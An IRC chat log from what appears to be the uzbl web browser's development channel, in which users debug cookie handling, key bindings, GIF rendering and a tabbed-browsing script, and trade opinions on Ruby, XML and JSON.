22:14 < rob|> Dieterbe ^^
22:15 < rob|> pat?
22:15 < rob|> err
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22:16 < N30N> Dieterbe: it's bit of a hack as events get called in the opposite order they'r added, so a site can override it.
22:16 < Rodya> Has anyone else noticed that if you load an animated gif, you see the first frame and then it just goes black except for that first frame?
22:17 < Rodya> and it doesn't seem to be all of them =/
22:18 < scj> Rodya: link?
22:20 < Rodya> http://cgi.4chan.org/gif/src/1246384892917.gif this one did it to me just now (its safe for work)
22:20 < bct> Rodya, yeah i get the same thing
22:20 < N30N> And1: if you give me a script (preferably a small one) I'll see what changes would need to be made
22:20 < bct> i think it only started happening after i upgraded from webkit 1.1.8 -> 1.1.10
22:21 < scj> Rodya: works for me
22:21 < Dieterbe> N30N and rob| , i still need to give a good look at holizz' trees. he did some work about opening new windows as such. feel free to have a look yourselves and let me know
22:21 < Rodya> my best guess is that it happens when the download of the gif lags a bit, as i have no problem with small gifs
22:21 < And1> N30N: A script for what and what did you mean by "_they_ will need editing"... sorry. Don't get it. =)
22:22  * Dieterbe off to bed. see you guys later
22:24 < N30N> And1: you cant just copy em from greasemonkey (without editing em) and add em to load_commit_handler
22:24 < bob_f> Has there been any progress on getting uzbl working with facebook ?
22:25 < And1> N30N: Ah yeah, well, I just edited it in vim. =)  But I haven't enough skills for writing a script for that, sorry.
22:26 < shinynew> bob_f: what exactly was wrong?
22:26 < shinynew> nevermind
22:27 < shinynew> you mean the cookies thing?
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22:29 < And1> Is anyone yet using dmenu with vertical split patch on debian?
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22:36 < bct> bob_f, iirc holizz was working on fixing it in cookies.py
22:36 < bct> and you're probably all sick of hearing it, but it works in cookies.rb.
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22:44 < N30N> holizz' trees? can someone point me at what Dieterbe was talking about xD
22:44 < scj> github.com/holizz/uzbl
22:45 < N30N> ta
22:49 < bartman> Dieterbe: I noticed that gtk_main_quit() was taking 1-3 seconds to complete on my system
22:50 < bartman> Dieterbe: it maybe because I don't run the gnome services and things were timing out
22:50 < bartman> Dieterbe: I'll do some more profing and include it in the commit message when I get a minute
22:50 < bartman> Dieterbe: and I will rebase to experimental
22:51 < bob_f> shinynew: Yup.
22:51 < bob_f> bct: Heheh.
22:51 < bob_f> bct: So it's not just everyone in #python who hates Ruby then ? :)
22:52 < bartman> And1: I am using it.
22:52 < And1> bartman: How did you install it?
22:52 < bartman> http://github.com/bartman/luamenu/tree/master
22:53 < bartman> actually, you don't want my lua crap (not finished yet)
22:53 < bartman> http://github.com/bartman/luamenu/tree/vertical
22:53 < bartman> ^^^ that's dmenu + vertical patches
22:54 < And1> It's both the same clone-url? =)
22:55 < bartman> And1: true, make sure you build off the vertical branch
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22:56 < And1> bartman: Which is the git clone url for dmenu? Sorry I'm kinda very new to this.
22:56 < bartman> git clone git://github.com/bartman/luamenu.git
22:56 < bartman> cd luamenu
22:56 < bartman> git checkout -b vertical origin/vertical
22:56 < bartman> make
22:57 < scj> bob_f: I got no problem with ruby. in fact, I've never tried it, but ruby people are generally pretty annoying
22:57 < bartman> hehe
22:57 < And1> Ah great, thanks very much. :)
22:57 < bartman> np
22:58 < urnthr> scj, my friend just tried to convince me today to use Ruby on Rails instead of symfony.. i've never even used Ruby
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22:58 < bartman> they are very different
22:59  * bartman has never used RoR, but has heard it's not like ruby
22:59 < urnthr> they aren't that different
22:59 < urnthr> oh from Ruby
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22:59 < urnthr> i find RoR people equally as annoying
22:59 < scj> urnthr: well, RoR isn't php, so it's at least a step in the right direction :v
22:59 < urnthr> touche
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23:00  * bartman has been cursing RHEL5 and Xen all day
23:00 < scj> but you're right, it's the RoR people who are the annoying ones
23:00 < bartman> I cannot see RoR ppl being any more annoying
23:00 < bartman> (than Xen on RHEL5)
23:01 < uranther> basically, I just want to use a framework of my choice, not what everyone else uses
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23:05 < scj> RoR is hardly used by "everyone else", they are just the loudest
23:05 < rob|> heh
23:06 < bct> i hate the reputation that rails has given ruby :(
23:07 < bct> ruby's a great language with wonderful people
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23:07 < bct> rails isn't a bad framework, but it attracted fad-followers and self-aggrandizing jerks.
23:08 < rob|> so the most annoying thing is the web itself, we should go back to gopher for sanity and fun ;)
23:08 < DuClare> Ze web sucks indeed
23:08 < scj> the ror community seems like one big circle jerk
23:08 < DuClare> Too bad I'm not charismatic enough to convince the world to give up on it
23:09 < bct> http is not a bad protocol.
23:09 < uranther> <scj> RoR is hardly used by "everyone else", they are just the loudest << how true :P
23:09 < bct> and html could be a lot worse.
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23:10 < uranther> screencasts on Mac OS X never fail... haha
23:10 < rob|> bct: true, as xml does demonstrate
23:10  * rob| hides
23:12 < bct> that's not really fair.
23:12 < bct> XML is good at what it was designed for
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23:12 < bct> you can't blame it for people misusing it.
23:13 < DuClare> What was it designed for? :p
23:13 < bct> extensible mixed content
23:13 < DuClare> Most use fits that vague definition
23:13 < bct> by mixed content i mean things like
23:13 < bct> "blah blah <a href="http://...">link</a> blah blah"
23:14 < DuClare> THAT is what it was designed for?
23:14 < bct> well yeah, it is a markup language after all
23:14 < bct> "markup", as in for "marking up" text.
23:15 < bct> and by "extensible", i mean it's namespaced.
23:15 < DuClare> http://en.wikipedia.org/wiki/Markup_language
23:16 < uranther> how does XML not fit that definition?
23:17 < uranther> or is that what you're debating :?
23:17 < DuClare> XML does fit in the definition, and IMHO so does most of the use labelled as "incorrect" by XML haters
23:18 < DuClare> s/haters/foo/, in absence of a better word
23:18 < joyfulgirl> detractors
23:18 < bob_f> scj: Oh, I don't really hate ruby or think much at all about it; I'm just a python developer by trade and an op in #python, so I only really know what #python thinks of Ruby, not what normal people think of it. :)
23:18 < uranther> XML describes the structure of text, quite simply
23:19 < DuClare> Then again, when people talk about "incorrect" use of XML, they're often being very vague about where and how it's being used incorrectly .. it simply is, and thus can be hated..  :>
23:20 < rob|> uranther: for people that are unable to comprehend basic principles of languages that might be true ;)
23:20 < uranther> rob|, explain to me then
23:21 < rob|> uranther: http://infolab.stanford.edu/~ullman/ialc.html
23:21 < rob|> those guys are way better at explaining such kind of things than me..
23:22 < uranther> so now you're saying XML isn't a language? i thought you were just saying i don't know what i'm talking about - which could be true
23:23  * cprussin is thoroughly amused
23:23 < rob|> xml is a language for sure, just as "aabbbbcc" is
23:23 < uranther> we're talking about markup languages specifically though
23:25 < rob|> well, xml tries to be for markup what microsoft is for applications
23:25 < uranther> a behemoth? :P
23:26 < rob|> heh
23:26 < uranther> so you're saying, since you can make XML into anything you want, it does really "markup" very effectively?
23:26 < uranther> doesnt*
23:27 < rob|> right, i say that by putting all the complexity into the parser doesn't make for a good markup language
23:27 < uranther> i'll accept that.. :P
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23:27 < rob|> the complexity is still there but more hidden from the user
23:28 < uranther> it makes for hueg like xbox files.. that's why I'd say it's more apt for machine-to-machine communication where some protocol hasn't been or can't be developed
23:29 < joyfulgirl> rob|: Well-advertised but non-functional?
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23:29 < moritz_> hi, there are two simple errors on http://www.uzbl.org/get.php
23:30 < moritz_> the 'git checkout' step should come after 'cd uzbl'
23:30 < uranther> http://www.ixsystems.com/apollo PC-BSD, anyone? :)
23:30 < moritz_> and it should be origin/ex..., not master/ex...
23:30 < DuClare> S-expressions ♥
23:30 < bct> DuClare: maybe XML config files aren't an officially "incorrect" use, but they're certainly a stupid use of it.
23:31 < DuClare> bct: Why?
23:31 < bct> the same is not true of actual textual markup.
23:31 < scj> yeah, all sgml derived languages ought to be replaced by s-exps
23:31 < bct> because it involves a pointless amount of overhead.
23:31 < bct> if only one application is ever going to be using a format, you don't need the same kind of extensibility
23:31 < DuClare> How is that different wrt textual markup?
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23:32 < moritz_> (also there's a difference betwen markup languages and data exchange formats)
23:32 < moritz_> (xml is the former, and often misused for the latter)
23:32 < bct> moritz_, thanks, that's what i'm trying to say
23:33 < bct> DuClare, one big difference is the need for distributed extensibility
23:33 < DuClare> moritz_: Can you tell something about "data exchange formats"?
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23:34 < rob|> DuClare: heh, you sound like eliza
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23:34 < uranther> JSON is one
23:34 < DuClare> rob|: Hmm.  I don't know her
23:34 < moritz_> DuClare: they clearly define structures for the most common data structures, like arrays, integers, strings, mappings (or hashes, whatever you want to call them)
23:34 < moritz_> and yes, JSON is a very good example for one.
23:35 < bob_f> Woo json.
23:35 < rob|> DuClare: http://en.wikipedia.org/wiki/ELIZA
23:35 < moritz_> if you have a mapping foo => bar, there are hundreds of ways you can express that with xml, but only one you can express that in JSON
23:36 < uranther> Maybe XML falls in the middle, then?
23:36 < moritz_> anyway, the reason I joined here was a minor error with the website... is the source for the website online somewhere, so that I can patch it?
23:36 < DuClare> rob|: Heh. :)
23:36 < uranther> moritz_, check Barracuda's github
23:36 < uranther> or Dieterbe's for that matter
23:37 < moritz_> uranther: thanks
23:38 < bct> s
23:38 < moritz_> are pull requests the weapon of choice? or should I send patches somewhere?
23:39 < uranther> you can fork his tree
23:39 < scj> either is fine, but pull requests are probably easiest for dieterbe
23:39 < uranther> or send a patch to the mailing list
23:40 < moritz_> ... assuming that I actually understand it to get a patch together ;-)
23:41 < uranther> the stuff you were talking about patching is in Markdown-formatted text files, i think
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23:44 < rob|> brr, romanian beer acts funny on my brains..
23:45 < holizz> rob|: You. Apparently you're the person to talk to about the config file.
23:45 < holizz> rob|: So when is the config file going to be converted to JavaScript?
23:46 < rob|> hehe, i guess you got a point
23:47 < moritz_> uranther: are you sure that the data files are acutally in the repo? it seems like not, from grepping for words that appear on the web page
23:47 < holizz> I'm cloning WebKit over 10KiB wifi...
23:48 < moritz_> sounds like real fun :/
23:49 < bct> moritz_, i believe it's in the uzbl-website repo
23:49  * moritz_ too dumb to find it
23:49 < uranther> http://github.com/Dieterbe/uzbl-website/tree/master this is it although I don't see the content files..
23:50 < moritz_> I clone the repo, and for example search for 'git log'
23:50 < uranther> http://github.com/Dieterbe/uzbl/blob/7335fa2d650c4a3378484dfbc71ff572b5613b27/docs/INSTALL
23:50 < uranther> i think this is what you're looking for
23:50 < moritz_> erm, 'git clone'
23:51 < moritz_> ok, thanks
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01:21 < uranther> sup seppo0010
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01:27 < uranther> ):
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02:21 < bob_f> Is there an equivalent to $@ I can use in my config file for sh commands ?
02:21 < bob_f> Oh
02:21 < bob_f> It's sh.
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02:26 < bob_f> Aha, had to escape the @
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02:52 < bob_f> bct: Okay, I have something working.
02:55 < bct> in a public repo somewhere?
02:57 < bob_f> Will be in a second. :)
02:57 < bct> aw man, i thought surfraw actually scraped search results :(
02:58 < bct> its actual purpose is much more boring
03:01 < uranther> bct, what's that?
03:01 < uranther> er i know what surfraw is
03:02 < joyfulgirl> bct: Much more awesome!
03:02 < bob_f> Hum, this is weird.
03:02 < bob_f> Suddenly I'm not getting the uzbl fifo path back.
03:03 < bob_f> Just an empty string instead.
03:04 < bob_f> Oh !
03:04 < bob_f> Duh.
03:06 < bob_f> Hm, no, still vanished.
03:09 < bob_f> bct: Any idea what would make a socket file path be in the correct placeholder but the fifo one be empty ?
03:10 < bob_f> (I have fifo_dir set to /tmp)
03:11 < bob_f> Oh well, fixed now.
03:12 < bct> joyfulgirl, but all it seems to do is generate urls?
03:12 < bct> bob_f, i think that happens if the fifo already existed when uzbl was started
03:12 < bct> not sure though.
03:13 < bob_f> Yeah, looks like it.
03:13 < bob_f> I deleted the fifos and it worked again.
03:14 < joyfulgirl> bct: And sends 'em to your browser. Yup.
03:14 < joyfulgirl> bct: Do one thing and do it well
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03:16 < bct> the "one thing" i want is something that gives me a list of titles and urls that were included in the results page
03:17 < bct> i'm perfectly capable of sticking a %s in an URL myself.
03:21 < bob_f> bct: A problem I'm having here is, I've got this script that looks like this:
03:21 < bob_f> echo "cookie \"$1\" \"$2\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"$9\" \"$10\" \"$11\" \"$12\"" > /tmp/uzbld.fifo
03:21 < bob_f> And it's pretty disgusting. :)
03:21 < bob_f> But I need the quotes, and $@ drops them.
03:22 < bct> ouch
03:22 < bob_f> Yup.
03:22 < bct> that's in your handler script?
03:23 < bct> or in your uzbl config+
03:23 < joyfulgirl> bob_f: What about "$@"?
03:23 < bob_f> bct: set cookie_handler   = spawn $XDG_DATA_HOME/uzbl/scripts/uzbld.sh
03:23 < bob_f> joyfulgirl: Tried that too, same deal.
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03:30 < bct> yeah, i don't know a good solution to that.
03:30 < bct> bash is a Bad Language.
03:31 < uranther> god i hate having to reboot just so vmware's networking fixes itself after hibernating
03:31 < bob_f> bct: Yup.
03:31 < bob_f> bct: Did you write cookies.py ?
03:31 < bct> nope, holizz did.
03:32 < bct> uranther: vmware is funny
03:32 < bct> i'm using it so that i can run linux at work
03:32 < uranther> i develop in linux in vmware running on vista
03:32 < uranther> heh
03:32 < bct> it passes through normal characters as dvorak just fine, but when i hold down control i get qwerty characters
03:33 < uranther> Dieterbe always makes fun of me
03:33 < bct> even though the host and the vm image both use dvorak layouts :S
03:33 < uranther> :S the hibernation thing is a known issue.. with apparently no fix?
03:34 < uranther> maybe i'll try restarting the vmware services next time
03:34 < bct> closed source software running on windows is the bestest
03:34 < uranther> pfft
03:34 < bct> (if you like weird unfixable issues)
03:34 < uranther> indeed
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03:36 < bct> bob_f, i do have some idea what's going on in it though
03:40 < bob_f> bct: hg clone https://bobf@bitbucket.org/bobf/uzbld/
03:40 < bob_f> bct: Okay, you should hopefully be able to fix it. ;)
03:40 < bob_f> It's not perfect, but it's 2:40am here and I got work tomorrow.
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03:41 < bob_f> The actual cookie stuff doesn't work at all, but I don't know how to poke that right now.
03:41 < bct> ok, so there are no changes to uzbl itself?
03:41 < bob_f> Nope.
03:43 < bob_f> You just tell it to write stuff to a fifo for the cookie thing and my program sits reads that fifo.
03:43 < bct> kk.
03:43 < bct> also:
03:43 < bct> echo "cookie: '$1' '$2' ..." ?
03:44 < bob_f> Won't that just send literal $1 ?
03:44 < bct> nope
03:44 < bob_f> Hm, might work then, let me check.
03:45 < bct> since it's double-quoted the 's are just treated like any other character but the $x are expanded
03:45 < bob_f> Yup, that works.
03:45 < bob_f> Problem is that cookies.py was depending on the length of sys.argv
03:46 < bct> dunno what will happen if you have an apostrophe in a title (or elsewhere), though.
03:46 < bob_f> Eek.
03:46 < bob_f> Shame this stuff doesn't get passed around as json or something.
03:46 < bob_f> Although a bash json parser would be pretty awful.
03:47 < bct> it's kind of sad just how much of programming is dealing with different levels of escaping
03:47 < bct> oh ick. no kidding.
03:47 < bob_f> Huh, that's weird.
03:47 < bob_f> Facebook seems to be working.
03:48 < bob_f> I don't really understand how that can be - cookies shouldn't be working *at all* right now.
03:48 < bct> uzbl's falling back to webkit's default cookie handler
03:49 < bct> which just stores it in memory. if you close uzbl and open it again, you won't be logged into facebook any more.
03:49 < bob_f> Phew, was getting worried.
03:49 < bct> i have to say, your solution is much more simple than what i was thinking about
03:50 < bob_f> What did you have in mind ?
03:50 < bct> i was going to hack uzbl to popen a script, and then do some kind of locking so that different instances could share the same cookies file
03:50 < bob_f> Cripes.
03:51 < bct> indeed.
03:51 < bob_f> Well, I really have to get to bed.
03:52 < bob_f> Let me know if you have any luck with this - I think it's very close to being functional.
03:52 < bct> will do.
03:52 < bct> i'll try to do some timing on it too, see how it compares.
03:52 < bob_f> Cool. /msg me or just bob_f: me here if you come up with anything - good night !
03:53 < bct> have a good one
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04:53 < cdwillis> are we clear?
04:53 < cdwillis> haha
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05:27 < cdwillis> is there a setting for the config file to start uzbl with the status bar off?
05:28 < cdwillis> nevermind, set show_status
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07:15 < ruskie> good morrow all
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07:52 < holizz> Damn. Looks like the patch I made didn't quite work.
07:54 < holizz> The create-web-view signal doesn't actually give you the URI... it just expects you to create a new WebKitWebView, and then wait for it to load the URI into that. Uuuugh.
07:55 < dxdx> i think that, after all, one window per instance isn't really a good idea
07:55 < ruskie>  ?
07:55  * ruskie wonders why not
07:55 < dxdx> first, segfaults are not a feature
07:56 < ruskie> no but they can happen
07:56 < ruskie> you're getting uncontrolled content from the web... who knows what can happen
07:57 < dxdx> second, when javascripts want to control another window created with window.open(), we can't do much
07:57 < dxdx> and third, memory usage starts at 20mb per instance
07:58 < ruskie> well for js to be able to control windows I don't want that and would disable it completly
07:58 < ruskie> memory usage on the other hand makes sense
07:59 < dxdx> ruskie: i mean replacing the content of an opened popup (quite common in lyrics sites)
08:00 < dxdx> well, these are not the best reasons to say one window per instance sucks, but my point is that it isn't heaven
08:00 < dxdx> i'm not sure if memory usage will improve by handling more than one window per instance
08:01 < dxdx> oh, and google chrome is overrated
08:01 < ruskie> no argument there
08:01 < holizz> dxdx: Can't we make a note of the new instance's socket and send it JavaScript? We could make a class that implements what WebKitWebView does.
08:03 < dxdx> holizz: yeah, possible, but we need a way to get back that socket name
08:03 < dxdx> or better, pass the socket name in the args
08:05 < dxdx> i think window.open refers to popups by strings, we could call it "/tmp/uzbl_socket_CURRENT" + '_' + POPUP
08:05 < dxdx> like /tmp/uzbl_socket_12341234_lyricspopup
08:06 < ruskie> hmm can't get uzbl_tabbed from mason-larobina/uzbl to run :(
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08:29 < ruskie> hmm are env variables in the config file supposed to be resolvable? i.e. $HOME and such like?
08:52 < ruskie> so are different modifiers supported yet? so tht one could have alt+./alt+, and ctrl+i in the same config?
08:53 < ruskie> also how to bind things like arrow keys and so on? I'm not particular to hjkl since I never used them really
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09:06 < ruskie> hmmm also is there a way to not have commands accepted immediately? as in I actually want to hit enter on some commands before they happen
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09:10 < tha> ruskie: the last one i can help you with for example to quit i use :q_ where "_" waits for an input
09:10 < ruskie> hmm
09:10 < ruskie> doesn't work for me for some odd reason
09:10 < ruskie> bind    :q_        = exit
09:10 < ruskie> that's what I have
09:11 < tha> yes works fine here :D
09:11 < ruskie> but I actually need to type in _ to get it working
09:11 < ruskie> so am confused
09:11 < ruskie> thought that it will work that easy as well
09:15 < cdwillis> bind :q _ = exit
09:15 < cdwillis> shouldn't it have that space between q and _ ?
09:16 < ruskie> apparently it's not needed
09:16 < ruskie> but it seems like it wants input
09:16 < ruskie> or not really sure
09:16 < ruskie> basically need to do :q_ to actually get it to quit
09:17 < ruskie> unless the default :_ bind is the problem
09:17 < ruskie> ahh
09:17 < ruskie> that was it
09:22 < ruskie> thanks
09:22 < cdwillis> the space?
09:22 < ruskie> nope
09:22 < ruskie> the default: bind :_ = chain '%s'
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09:29 < ruskie> hmm unnecessary keybinds n and N since / with no extra args does the same ;)
09:32 < Dieterbe> morning dudes
09:33 < ruskie> lo
09:36 < cdwillis> good morning
09:36 < ruskie> ahh I see arrow keys are there by default for scrolling
09:43 < ruskie> hmm is there a way to see the state of the various enable/disable options easily in the statusbar? as in is there a way to get the variable and put it there?
09:45 < Dieterbe> hmm not sure. don't think so
09:46 < ruskie> how about using various modifier keys in bindings yet? i.e. ctrl+key and alt+key in the same config as normal commands etc?
09:46 < Dieterbe> not implemented yet
09:47 < ruskie> and resolving env variables in the config file? since the default example comes with that but it seems to be failing from what I can tell
09:47 < Dieterbe> dxdx: the reason we go for one page per instance is not because we're afraid of crashes or anything.  it just allows for a lot of flexibility and a simple protocol.  and that by itself is imho most important. (more important then memory usage etc, which i'm sure we'll be able to improve)
09:48 < Dieterbe> ruskie: that should work
09:48 < ruskie> ow also I see the middle_click js script... is there a way to have both the script and the set status_message in the same handler?
09:48 < ruskie> ahh so it only ignored because I don't have them set to anything
09:48 < ruskie> since I tend to stick to the default locations anyway
09:49 < Dieterbe> #define "default location"
09:49 < ruskie> ~/.config ~/.local ~/.cache
09:49 < ruskie> it's specified in the XDG spec
09:50 < Dieterbe> ah you mean the default values for the xdg vars
09:50 < ruskie> an app should resolve those itself if the variables aren't provided
09:50 < ruskie> yup
09:51 < ruskie> also the default fifo and socket dirs should really be set to ~/.cache/uzbl instead of /tmp being safer since only the user should have access and also keeping cruft out of /tmp
09:52  * ruskie will actually make an effort and start using uzbl for his everyday browsing now
09:53 < Dieterbe> ruskie: afaik user B cannot do anything with the fifos/sockets created by user A in /tmp
09:53 < ruskie> true still it's cleaner ;)
09:53 < Dieterbe> maybe.
09:53 < ruskie> since /tmp can get filled up
09:53 < ruskie> by $random users
09:53 < ruskie> and I'm guessing that might cause issues
09:54 < Dieterbe> patch welcome :)
09:55 < Dieterbe> i'm also in favor of $XDG_CACHE_HOME i think
09:55 < ruskie> for the example config file? sure
09:55 < Dieterbe> i'm not sure if the xdg spec is commonly used on Macos/bsd/.. though
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09:56 < rob|> morning.
09:58 < Dieterbe> heya robman
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10:08 < ruskie> hmm either I don't know how or one can't chain multiple handlers
10:09 < ruskie> erm multiple commands for a handler
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10:13 < ruskie> ahh uzbl_tabbed.py needs all the dirs generated ahead of time
10:13 < Dieterbe> feel free to improve it
10:14 < Dieterbe> btw you're not using uzbl_tabbed.py from examples dir right? it's outdated
10:14 < Dieterbe> i want to merge the one from lazzareth in this week
10:15 < ruskie> I am using the one from lazzareth since he added two features I requested yesterady evening ;)
10:15 < ruskie> set gtk_tab_pos         = (left|bottom|top|right) and set max_title_len       = 50
10:15 < ruskie> :)
10:15 < ruskie> can't imagine tabs in a browser anywhere else but on the right if they are normal...
10:17 < ruskie> but the lack of ctrl+key and alt+key will really be annoying
10:18 < ruskie> used to alt+, and alt+. for moving accros tabs everywhere(vim, kazehakase) and ctrl+i for enter URL
10:18 < ruskie> and ctrl+w to close a tab
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10:20 < Frots> goodmorning everyone
10:20 < ruskie> lo
10:21 < Dieterbe> mood gorning
10:27 < Frots> bad morning :(
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10:34 < ruskie> hmm can't create a new tab with uzbl_tabbed.py yet
10:36 < ruskie> Rodya, you need to create all the dirs that uzbl_tabbed.py needs to use it ~/.config/uzbl ~/.local/share/uzbl/
10:36 < ruskie> Rodya, then it doesn't crash
10:37 < ruskie> hmm is this an uzbl feature or a WebKit feature: if I try to open foo it will automatically append http:// infront
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10:42 < Dieterbe> ruskie: uzbl feature
10:43 < ruskie> annoying
10:43 < ruskie> any way of toggling it yet?
10:45 < ruskie> ahh chain is what I was looking for earlier...
10:45 < ruskie> *doh*
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10:46 < Dieterbe> ruskie: why is the http prepending annoying?
10:47 < ruskie> always hated it always disabled it
10:47 < Frots> I need some help with my Xorg suddenly refusing to see my input devices.... any X pro's?
10:48 < ruskie> Frots, upgraded?
10:50 < Frots> yesterday
10:50 < ruskie> Dieterbe, also causes bad habits people start thinking that www.something.com is valid
10:50 < Frots> but no problems
10:50 < Frots> i reverted today but it didnt help
10:50 < ruskie> Frots, config file? using hal?
10:51 < ruskie> I've been through X a lot
10:51 < ruskie> especially the new crap... and I really really really hate it
10:52 < Frots> i switched to the hotplugging
10:52 < Frots> but never had issues
10:52 < Frots> until this morning :/
10:52 < ruskie> hmm is hal running? else hotplugging would fail
10:53 < ruskie> also check the log file
10:53 < ruskie> could be something obvious
10:53 < ruskie> gah... input fields in uzbl don't accept primary paste using mouse :(
10:53 < Dieterbe> ruskie: i see no valid argument in what you say.  uzbl is a browser, so why not assume if no protocol is specified, that the user wants http? it saves some typing
10:54 < ruskie> atleast make it an option
10:54 < Dieterbe> you still have to convince me with a good argument why this is bad
10:54 < ruskie> also doesn't webkit support anything like about:plugins and other such urls?
10:55 < N30N> Dieterbe: is there anyway to bind ^I in uzbl?
10:56 < N30N> bind \u0009 or somthing?
10:58 < ruskie> is it just me or uzbl can't edit the wiki???
10:59 < Dieterbe> N30N: not sure. i always use uzbl modally. but i heard you can bind ^I like that if you insert ^ as the literal control character into the config
10:59 < ruskie> I'm trying to add a howto for Source Mage but it always returns as a draft and that something failed
11:07 < ruskie> O.o two line status bar... *drool*
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11:07 < N30N> Dieterbe: it works for other keys but ^I binds the ctrl && the tab key but I'm trying to just get ctrl+i xD
11:07  * ruskie wants ctrl+i as well
11:07 < Dieterbe> N30N: ^i then?
11:07 < ruskie> but that comes tab in vim
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11:09 < ruskie> hmm maybe there's an option in vim to not expand it
11:10 < N30N> Dieterbe: neh, it's just dosen't work right
11:10  * ruskie goes to ask in #vim
11:10 < N30N> ta ruskie :)
11:11 < Dieterbe> or use emacs/nano/joe/pico/.. to insert that one character :P
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11:14 < ruskie> apparently not possible with vim
11:14 < ruskie> ^I is tab
11:14 < ruskie> no matter how many times you try to do it
11:15 < N30N> ruskie: I tried entering it via normal mode before it does not get expanded there, but still didn't work
11:15 < N30N> thanks tho, I'll try with a different editor
11:15 < Dieterbe> try setting Modkey to ctrl
11:16 < ruskie> but won't that apply to all then?
11:16 < Dieterbe> yes, but i'm not sure if it will even work at all. never used it myself
11:17 < ruskie> did anyone even touch this since I first asked about it... ohh more than a month ago?
11:17 < Dieterbe> i don't think so
11:17 < ruskie> times like this I really wish I knew how to code
11:22 < ruskie> well ^I is the tab char no matter how much one tries
11:23 < N30N> ruskie: indeed
11:23 < ruskie> I guess this would require uzbl to get a better bindings system... maybe somethig like how irssi has it
11:24 < ruskie> or just support for adding mods to the keys
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11:35 < Dieterbe> ruskie: it's on the todo list
11:35 < N30N> sweet :)
11:35  * N30N votes for vim style <c-i>
11:38 < ruskie> so what can we do to bump up it's priority
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11:39 < ruskie> now why can't I open new tabs... /me looks around for lazzareth
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11:45 < ruskie> hmm seems one really can't use the uzbl wiki with uzbl...
11:50 < scj> ruskie: how so? I can
11:51 < ruskie> I couldn't save a page
11:51 < ruskie> said it was unsussecful draft etc...
11:53 < scj> try without a cookie_handler
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12:45 < lazzareth> ruskie, You're having problems?
12:45 < lazzareth> (Is home from work)
12:46 < ruskie> can't open a new tab
12:47 < ruskie> <-- is still stuck @work for another 2.15 hours
12:47 < lazzareth> ruskie, Are you running it from the command line? are you seeing any errors?
12:48 < lazzareth> Try running with the --sync command (helps trace gtk timer/callback problems)
12:48 < ruskie> just trying to open a new tab using the default keybinding(gn)
12:48 < ruskie> not working
12:48 < lazzareth> ruskie, Did you change the bind command for opening a new tab?
12:49 < ruskie> tried that as well
12:49 < lazzareth> ruskie, Yes but the above will help me find out the problem
12:49 < lazzareth> ruskie, What python version are you using?
12:49 < ruskie> 2.5.2
12:49 < ruskie> should I upgrade?
12:49 < ruskie> not really a problem if need be
12:49 < lazzareth> I'm using 2.5.2 also
12:50 < ruskie> but I don't see any info in the terminal there some debug switch needed?
12:50 < ruskie> my pygtk2 is 2.13.0 though
12:50 < lazzareth> ruskie, I havent added any verbose options yet but you can edit a line in the read functions to ouput the commands as it gets them
12:51 < ruskie> tell me what and where and I'll do it
12:52 < lazzareth> Line 567 theres a commented out print function
12:52 < lazzareth> un-comment it
12:52 < lazzareth> In the function "main_fifo_read"
12:53 < ruskie> hmm
12:53 < ruskie> don't see any output
12:53 < lazzareth> try other commands
12:53 < lazzareth> like gt or gT or gY
12:54 < lazzareth> or gi1
12:54 < ruskie> seems like they aren't getting registered
12:54 < lazzareth> ok
12:54 < ruskie> none works
12:54 < lazzareth> type the command !dump into the uzbl command line
12:55 < lazzareth> you should see the entire config dump to the screen
12:55 < ruskie> wth
12:56 < ruskie> doesn't print those options
12:56 < ruskie> though I see uzbl_tabbed.py using my new tab title
12:56 < ruskie> and it positions the tabs properly
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12:56 < lazzareth> ruskie, Does it print anything to the terminal window?
12:57 < ruskie> yup
12:57 < lazzareth> (I'm not talking about the uzbl window)
12:57 < ruskie> just not the settings for tabbed
12:57 < lazzareth> ruskie, What version of uzbl are you running?
12:58 < lazzareth> The one from Dieterbe's main repo?
12:58 < ruskie> yup
12:58 < lazzareth> Not his experimental repo?
12:59 < ruskie> nope
13:00 < lazzareth> That might be the problem, Dieterbe's main lags behind his experimental by leaps and bounds.
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13:00 < lazzareth> Even then holizz has had to make a few line changes to uzbl.c to get the styling to work correctly
13:00 < holizz> Hello.
13:01 < ruskie> :)
13:01 < ruskie> lo
13:01 < lazzareth> You might benefit from pulling directly from my repo git://github.com/mason-larobina/uzbl.git and installing that version of uzbl
13:02 < ruskie> or bug Dieterbe to get stuff into master faster ;)
13:02 < lazzareth> Virtually a single line change difference from the main uzbl.c in Dieterbe's experimental to fix the styling. But the difference being thats still using the experimental version of uzbl
13:02 < lazzareth> ruskie, I think the problem might be that the main doesnt support setting bind commands over sockets (or something, just guessing).
13:03 < lazzareth> holizz, G'day
13:03 < ruskie> though I've been planing on adding support for the other uzbl trees into the spell anyway
13:03 < holizz> lazzareth: Yo.
13:04 < holizz> I'm doing an open space tomorrow morning to show-off uzbl.
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13:06 < lazzareth> holizz, At EuroPython?
13:07 < holizz> lazzareth: Yea.
13:07 < lazzareth> Nice :D
13:08 < lazzareth> Going to demonstrate a little uzbl_tabbed.py in the demonstration??
13:08 < holizz> Oh I expect so.
13:08 < lazzareth> holizz, Remember to pull the latest version, last time I checked you were playing with an oldie.
13:09 < holizz> Oh yeah, I'll checkout your branch for the demo.
13:09 < lazzareth> I've still got to update some of the documentation for the features I added last night.
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13:10 < lazzareth> ruskie, How are you going? is it working for you?
13:10 < lazzareth> ruskie, Have you cloned a git repo before?
13:11 < ruskie> lazzareth, consider I've been using git for hmm atleast 3 years
13:11 < ruskie> and commit regulary ;)
13:11 < ruskie> just not doing it atm ;)
13:11 < lazzareth> ruskie, I've been using git for about a year to backup my home directory :D
13:12 < lazzareth> But none of this pulling/cherry-picking/reseting/etc which I've picked up over the last 4 days :P
13:12 < ruskie> http://ruskie.codemages.net/cgi-bin/gitweb.cgi
13:12 < ruskie> lol
13:12 < ruskie> also have some repos on repo.or.cz
13:13 < lazzareth> Do you like / have you tried github?
13:13 < ruskie> don't like github
13:13 < holizz> ruskie: You must be the only one.
13:13 < ruskie> to much web2ohhy for my taste
13:13 < ruskie> repo.or.cz works nice
13:13 < ruskie> holizz, lol
13:15 < ruskie> I doubt I'm the only one
13:16 < ruskie> to many web2ohy crap... repo.or.cz just gives the core functionality without all this crappy ajax/js etc...
13:17 < ruskie> as for the one project I voluntered to cooridanet(realpine/re-alpine) that's on sourceforge also using git ;)
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13:18 < lazzareth> ruskie, And the big question.. is it working now?
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13:20 < ruskie> lazzareth, ???
13:20 < lazzareth> ruskie, Can you open new tabs now?
13:20 < ruskie> haven't updated yet
